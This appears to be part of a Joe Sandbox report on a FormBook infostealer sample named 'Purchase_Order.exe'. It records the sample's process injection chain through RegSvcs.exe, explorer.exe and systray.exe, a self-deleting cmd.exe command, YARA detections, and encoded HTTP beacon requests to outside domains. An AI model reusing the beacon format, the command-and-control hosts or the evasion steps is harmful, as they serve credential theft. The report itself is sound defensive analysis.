5490 OUT GET /uqf5/?7nBTylox=kfF6JYR62xx/HO09iSVcnhFTUCCMKaRIkXBWym1Qtkj7XLCdUz5OHH2iCIaFDs/mVibljY
8vwA==&x2J86x=b0DT HTTP/1.1
Host: www.trainup-wall.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Jun 11, 2021 
15:03:06.846755028 CEST

5490 IN HTTP/1.1 404 Not Found
Server: nginx/1.18.0
Date: Fri, 11 Jun 2021 13:03:06 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: close
Data Raw: 39 39 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 
6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 
30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 
6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 
0a 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 99<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr>
<center>nginx/1.18.0</center></body></html>0

Session ID Source IP Source Port Destination IP Destination Port Process

9 192.168.2.7 49753 160.16.235.37 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jun 11, 2021 
15:03:12.500335932 CEST

5495 OUT GET /uqf5/?7nBTylox=bDjqt1XeIDnHqlCDx4UVtMOGyZAgv2iIcL7KLwBfVGeKSjMBDNU7E4Z2+8mD2QoqovVkCT
qMJw==&x2J86x=b0DT HTTP/1.1
Host: www.paolograssino.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Jun 11, 2021 
15:03:13.179290056 CEST

5497 IN HTTP/1.1 403 Forbidden
Server: nginx/1.20.0
Date: Fri, 11 Jun 2021 13:03:13 GMT
Content-Type: text/html; charset=iso-8859-1
Content-Length: 13
Connection: close
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Data Raw: 34 30 33 20 46 6f 72 62 69 64 64 65 6e 
Data Ascii: 403 Forbidden

Analysis Process: Purchase_Order.exe PID: 1528 Parent PID: 5804Analysis Process: Purchase_Order.exe PID: 1528 Parent PID: 5804

General
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File ActivitiesFile Activities

Start time: 15:01:12

Start date: 11/06/2021

Path: C:\Users\user\Desktop\Purchase_Order.exe

Wow64 process (32bit): true

Commandline: 'C:\Users\user\Desktop\Purchase_Order.exe' 

Imagebase: 0x4f0000

File size: 1532416 bytes

MD5 hash: 4AA8159742BECD97F9ECDDA33798B065

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Yara matches: Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 
00000000.00000002.259691374.0000000002B20000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000000.00000002.259944230.0000000003AD1000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000000.00000002.259944230.0000000003AD1000.00000004.00000001.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000000.00000002.259944230.0000000003AD1000.00000004.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group

Reputation: low

Show Windows behavior

Start time: 15:01:23

Start date: 11/06/2021

Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Wow64 process (32bit): true

Commandline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Imagebase: 0x860000

File size: 45152 bytes

MD5 hash: 2867A3817C9245F7CF518524DFD18F28

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

File CreatedFile Created

File WrittenFile Written

File ReadFile Read

Analysis Process: RegSvcs.exe PID: 3608 Parent PID: 1528Analysis Process: RegSvcs.exe PID: 3608 Parent PID: 1528

General
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File ActivitiesFile Activities

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000004.00000002.320741403.0000000001210000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000004.00000002.320741403.0000000001210000.00000040.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000004.00000002.320741403.0000000001210000.00000040.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000004.00000002.321348253.0000000001580000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000004.00000002.321348253.0000000001580000.00000040.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000004.00000002.321348253.0000000001580000.00000040.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000004.00000000.257791048.0000000000400000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000004.00000000.257791048.0000000000400000.00000040.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000004.00000000.257791048.0000000000400000.00000040.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000004.00000002.320281190.0000000000400000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000004.00000002.320281190.0000000000400000.00000040.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000004.00000002.320281190.0000000000400000.00000040.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group

Reputation: high

Show Windows behavior

File ActivitiesFile Activities

Start time: 15:01:26

Start date: 11/06/2021

Path: C:\Windows\explorer.exe

Wow64 process (32bit): false

Commandline:

Imagebase: 0x7ff662bf0000

File size: 3933184 bytes

MD5 hash: AD5296B280E8F522A8A897C96BAB0E1D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Show Windows behavior

Start time: 15:01:49

Start date: 11/06/2021

Path: C:\Windows\SysWOW64\systray.exe

Wow64 process (32bit): true

File ReadFile Read

Analysis Process: explorer.exe PID: 3292 Parent PID: 3608Analysis Process: explorer.exe PID: 3292 Parent PID: 3608

General

Analysis Process: systray.exe PID: 1752 Parent PID: 3292Analysis Process: systray.exe PID: 1752 Parent PID: 3292

General
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File ActivitiesFile Activities

Commandline: C:\Windows\SysWOW64\systray.exe

Imagebase: 0x13b0000

File size: 9728 bytes

MD5 hash: 1373D481BE4C8A6E5F5030D2FB0A0C68

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000010.00000002.504805498.0000000004D80000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000010.00000002.504805498.0000000004D80000.00000040.00000001.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000010.00000002.504805498.0000000004D80000.00000040.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000010.00000002.501363256.00000000010C0000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000010.00000002.501363256.00000000010C0000.00000040.00000001.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000010.00000002.501363256.00000000010C0000.00000040.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000010.00000002.505034491.0000000004DB0000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000010.00000002.505034491.0000000004DB0000.00000004.00000001.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000010.00000002.505034491.0000000004DB0000.00000004.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group

Reputation: moderate

Show Windows behavior

File ActivitiesFile Activities

Start time: 15:01:54

Start date: 11/06/2021

Path: C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit): true

Commandline: /c del 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe'

Imagebase: 0x230000

File size: 232960 bytes

MD5 hash: F3BDBE3BB6F734E357235F4D5898582D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Show Windows behavior

Start time: 15:01:54

Start date: 11/06/2021

File ReadFile Read

Analysis Process: cmd.exe PID: 1200 Parent PID: 1752Analysis Process: cmd.exe PID: 1200 Parent PID: 1752

General

Analysis Process: conhost.exe PID: 5552 Parent PID: 1200Analysis Process: conhost.exe PID: 5552 Parent PID: 1200

General
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Joe Sandbox Cloud Basic 32.0.0 Black Diamond

Disassembly

Code Analysis

Copyright Joe Security LLC

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff774ee0000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high
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